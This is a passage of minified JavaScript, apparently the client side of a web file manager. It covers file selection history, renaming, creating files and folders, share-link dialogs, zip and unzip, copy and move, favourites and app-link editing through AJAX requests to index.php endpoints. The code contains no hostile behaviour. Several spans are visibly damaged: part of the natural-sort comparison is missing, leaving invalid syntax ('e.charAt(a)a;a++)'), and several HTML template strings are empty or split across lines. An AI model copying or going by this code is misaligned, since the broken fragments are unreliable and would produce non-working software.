o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof t&&t()})}},s=function(){var e=[],i=60,t=0,a=function(a){var n=e.length-1;return n==t&&e[n]==a?r():(t!=n&&(e=e.slice(0,t+1)),e[e.length-1]!=a&&e.push(a),e.length>=i&&(e=e.slice(1)),t=e.length-1,r(),void 0)},n=function(){e.length-1>=t+1&&(o(e[++t],"","",!0),r())},s=function(){t-1>=0&&(o(e[--t],"","",!0),r())},r=function(){var i="disable",a=e.length-1;$("#history_next").addClass(i),$("#history_back").addClass(i),(0!=t||0!=a)&&(t>0&&a>=t&&$("#history_back").removeClass(i),t>=0&&t!=a&&$("#history_next").removeClass(i))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var i=0;e.length>i;i++)e[i]=trim(e[i],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var i=trim(ui.fileLight.path($(this)),"/");i&&-1!=$.inArray(i,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var i=[];ui.fileLight.fileListAll().each(function(){var t=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));t&&e==t.substring(0,e.length).toLowerCase()&&i.push(a)}),a={key:e,path:G.this_path,index:0,list:i}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(i){var t=ui.fileLight.name($(this));-1!=t.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(i).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,i){var t=G.this_path+e;return void 0==i&&(t+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(t)+'"]').length?!0:!1},p=function(e,i){var t,a=0,n="."+i;if(void 0==i&&(n=""),!d(e+n,i))return e+n;for(t=e+"(0)"+n;d(t,i);)a++,t=e+"("+a+")"+n;return t},u=function(e,t){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:t,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==t?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==i.strSort(r[a][l],d[l]))break}else if(-1!=i.strSort(r[a][l],d[l]))break;return a+n-1},f=function(t,a,n){ui.fileLight.clear();var o=u(a,t),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:t,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=t&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var v=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==t?i.newFolder(a+e,m):i.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),v(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){v(f.attr("value"))})},h=function(){var e="",t=ui.fileLight.fileListSelect(),a=ui.fileLight.name(t),o=core.pathFather(ui.fileLight.path(t)),s=ui.fileLight.type(t);if(1==t.length&&n()){if(t.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="";"icon"==G.user_config.list_type&&(l="",t.css({height:t.height()})),$(t).addClass("file_icon_edit").find(".title").html("
    "+l+"
    ");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,i.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(t).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(t).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},v=function(e){if(e){var i=[];if(0==ui.fileLight.fileListSelect().length)return i;ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),t="folder"==ui.fileLight.type($(this))?"folder":"file";i.push({path:e,type:t})});for(var t="",a=[],n=0;i.length>n;n++){var o=i[n].path;(""==t||0!=o.indexOf(t))&&(t=o,a.push(i[n]))}return a}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var s=ui.fileLight.fileListSelect(),r=ui.fileLight.path(s),l=ui.fileLight.type(s);return{path:r,type:l}},_=function(e,i){for(var t in G.json_data)if("filelist"==t||"folderlist"==t)for(var a=0;G.json_data[t].length>a;a++)if(G.json_data[t][a][e]==i)return G.json_data[t][a]};return{makeParam:v,history:s,getJsondataCell:_,checkSystemPath:n,appEdit:function(e){if(e)i.appEdit(0,0,"user_add");else{var t=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(t));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),i.appEdit(a)}},appList:function(){i.appList(v().path)},appInstall:function(){i.appInstall(v().path)},openEditor:function(){t.openEditor(v().path)},openWindow:function(){var e=v();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(t.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return t.open(e),void 0;if(void 0!=e)return t.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var i=v(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,i.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==i.type){var n=a.attr("data-app");i.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=i.type)&&t.open(i.path,i.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var i=ui.fileLight.type($(this));if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var t=core.path2url(ui.fileLight.path($(this)),!1);e.push(t)}}),t.play(e,"music")}},pathOperate:i,share:function(){i.share(v())},setBackground:function(){var e=core.path2url(v().path);ShareData.frameTop("",function(i){i.ui.setWall(e)}),ui.setWall(e),i.setBackground(e)},createLink:function(e){var t=v(),a=ui.fileLight.fileListSelect().last();t.name=trim(a.find(".filename").text()),i.createLink(t.path,t.name,t.type,e,m)},createProject:function(){i.createProject(v().path,m)},download:function(){var e=v(!0);1==e.length&&"file"==e[0].type?t.download(v().path):i.zipDownload(e)},shareEdit:function(){var e=_("path",v().path);try{var t=G.json_data.share_list[e.sid];i.shareBox(t)}catch(a){}},shareOpenWindow:function(){var e=_("path",v().path),i=e.type;"folder"==e.type&&(i=1==e.code_read?"code_read":"folder");var t="./index.php?share/"+i+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(t)},shareOpenPath:function(){var e=v(),i=_("path",e.path);if(!i||!G.json_data.share_list)return t.open(e.path,e.type),void 0;var a=G.json_data.share_list[i.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(v().path)},explorerNew:function(){window.open("index.php?/explorer&path="+v().path)},openProject:function(){core.explorerCode(v().path)},search:function(){core.search("",v().path)},fav:function(){var e=v(),t=ui.fileLight.fileListSelect().last();e.name=trim(t.find(".filename").text()),i.fav(e)},recycleClear:function(){i.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e){if(n()){var t=v(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(t,function(e){var i=_("path",t[e].path);void 0!=i&&(t[e].type="share",t[e].path=i.sid)}),i.remove(t,m,e)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(t){var a=trim($(this).text());t!=e.length-1?i.favRemove(a,"",!0):i.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&i.copy(v(!0))},cute:function(){n()&&i.cute(v(!0),ui.f5)},zip:function(){i.zip(v(!0),m)},unZip:function(e){n()&&i.unZip(v().path,ui.f5,e)},cuteDrag:function(e){i.cuteDrag(v(!0),e,m)},copyDrag:function(e,t){i.copyDrag(v(!0),e,m,t)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(v(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(v(!0),e,m)})},info:function(){i.info(v(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),i.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+v().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:i.clipboard}}),define("app/common/pathOperate",[],function(e){var i=["/","\\",":","*","?",'"',"<",">","|"],t=["/","\\"],a=function(e){var a=function(e,i){for(var t=i.length,a=0;t>a;a++)if(e.indexOf(i[a])>0)return!0;return!1},n=t;return G.system_os&&"windows"==G.system_os&&(n=i),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var i=[],t=function(e){return e.replace(/"/g,'\\\\"')},a=0;e.length>a;a++)i.push({type:t(e[a].type),path:urlEncode(t(e[a].path))});return"list="+jsonEncode(i)},o=function(e,i){for(var t="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,i.length)>a;a++)if(e.charAt(a)!=i.charAt(a)){var n=t.indexOf(e.charAt(a)),o=t.indexOf(i.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>i.charAt(a)?1:e.charAt(a)a;a++)if(e.charAt(a)!=i.charAt(a)||isNaN(parseInt(e.charAt(a)))){e=e.substr(a),i=i.substr(a);break}var n=/(-?[0-9\.]+)/g,s=(""+e).toLowerCase()||"",r=(""+i).toLowerCase()||"",l=String.fromCharCode(0),c=s.replace(n,l+"$1"+l).split(l),d=r.replace(n,l+"$1"+l).split(l),p=new Date(s).getTime(),u=p?new Date(r).getTime():null;if(u){if(u>p)return-1;if(p>u)return 1}for(var f=0,h=Math.max(c.length,d.length);h>f;f++)if(oFxNcL=parseFloat(c[f])||c[f],oFyNcL=parseFloat(d[f])||d[f],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var m=o(oFxNcL,oFyNcL);if(0!=m)return m}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0)}},l=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof i&&Tips.loading()},error:core.ajaxError,success:function(e){"function"==typeof i&&(Tips.close(e),i(e.info))}}),void 0):("function"==typeof i&&i(),void 0)}},c=function(e,i,t){return e&&i&&e!=i?a(core.pathThis(i))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(i),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0):void 0},d=function(e,i,t){if(!(1>e.length)){var a=LNG.remove_title,o=LNG.remove_info,s="index.php?explorer/pathDelete",r=n(e);"share"==e[0].type&&(o=LNG.share_remove_tips,s="index.php?userShare/del",a=LNG.share_remove),(G.this_path==G.USER_RECYCLE||"recycle_clear"==e[0].type)&&(o=LNG.recycle_clear_info,s="index.php?explorer/pathDeleteRecycle",a=LNG.recycle_clear,"recycle_clear"==e[0].type&&(r={})),e.length>1&&(o+=' ... '+e.length+"");var l=function(){$.ajax({url:s,type:"POST",dataType:"json",data:r,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){if(Tips.close(t),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=t.info;var n=$.dialog.list.share_dialog;void 0!=n&&n.close()}a==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof i&&i(t)}})};t===!0?l():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:a,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:o,ok:l,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var i=e.path,t="folder"==e.type?"folder":"file";1>i.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(i),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)Tips.tips("该分享已存在",!0),f(e.data);else{G.self_share=e.info;var a={path:i,type:t,name:core.pathThis(i)};h(a,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(t),$(".content_info input[name=path]").val(i),$(".content_info input[name=name]").val(core.pathThis(i)+"(1)"),"file"==t&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(i,t){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(i),void 0!=t&&t()})},h=function(e,i){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=i&&i(e)}})},m=function(i){var t=e("./tpl/share.html"),a=template.compile(t),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),i=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var t=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(t),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:i.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var i=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(i=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+i}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),t=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var i=e.val().length;if($.browser.msie){var a=t.createTextRange();a.moveEnd("character",-t.value.length),a.moveEnd("character",i),a.moveStart("character",0),a.select()}else t.setSelectionRange(0,i)})};s(i),r()},v=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},_=function(e,i,t,a,n){if(!(1>e.length)){var o,s=G.myhome+"/desktop/";a&&(s=core.pathFather(e)),o="folder"==t?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+i+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=t),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,i){if(!(1>e.length)){var t=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+t+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof i&&i(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,i){e&&(Tips.loading(LNG.moving),setTimeout(function(){var t="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:t,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof i&&i(e.info)}})},50))},x=function(i){var t={};t.file_info=e("./tpl/fileinfo/file_info.html"),t.path_info=e("./tpl/fileinfo/path_info.html"),t.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>i.length&&(i=[{path:G.this_path,type:"folder"}]);var a="info";1==i.length&&(a="file"==i[0].type?core.pathExt(i[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(i),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==i.length&&(n="folder"==i[0].type?"path_info":"file_info",o=core.pathThis(i[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(t[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,i)})},k=function(e,i){var t=$("."+e);t.find(".open_window").bind("click",function(){window.open(t.find("input.download_url").val())}),t.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(t.find("input.download_url").val(),t.find(".qrcode").get(0))});var a=t.find(".file_md5_loading");if(1==a.length){var i=n(i);i+="&get_md5=1",core.fileInfo(i,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var o=t.find("input.download_url"),s=o.get(0);o.unbind("hover click").bind("hover click",function(){$(this).focus();var e=o.val().length;if($.browser.msie){var i=s.createTextRange();i.moveEnd("character",-s.value.length),i.moveEnd("character",e),i.moveStart("character",0),i.select()}else s.setSelectionRange(0,e)}),t.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),t=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(i),beforeSend:function(){t.text(LNG.loading)},error:function(){t.text(LNG.button_save)},success:function(e){t.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){t.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var i="index.php?explorer/zipDownload";G.share_page!==void 0&&(i="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var i="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(i="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},L=function(e,i){1>e.length||$.ajax({url:"index.php?explorer/zip",type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},N=function(e,i,t){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==t&&(n+="&to_this=1"),"unzip_to_folder"==t?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,i,t){i&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(i+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}})},T=function(e,i,t,a){i&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(i+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},S=function(){var e=function(e,i){var t='
    null!
    ';if(0!=e.length){t='
    '+LNG.clipboard_state+LNG[i]+"
    ";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),t+="
    "+o.type+": "+s+""}t+="
    "}return t};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(i){i.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(i.data,i.info)})}})},j=function(e,i,t){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof i&&i(e)}})};return t?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},z=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var i=core.getPathIcon(e.path,e.name);""!=i.icon&&(e.ext=i.icon,e.name=i.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},P=function(e){var i={};return i.type=e.find("input[type=radio]:checked").val(),i.content=e.find("textarea").val(),i.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");i[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");i[e]="checked"==$(this).attr("checked")?1:0}),i},E=function(e){e.find(".type input").change(function(){var i=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+i+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var i=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(i=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:i},function(i){var i=core.path2url(i);e.find(".app_edit_select_icon_input").val(i)})}),e.find(".size-full").unbind("click").bind("click",function(){var i=$(this).prop("checked");i?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},D=function(i,t,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(i=i),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:i})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(P(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=P(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(i.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(i.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof t?t():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),i.group&&n.find("option").eq(i.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+i.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] 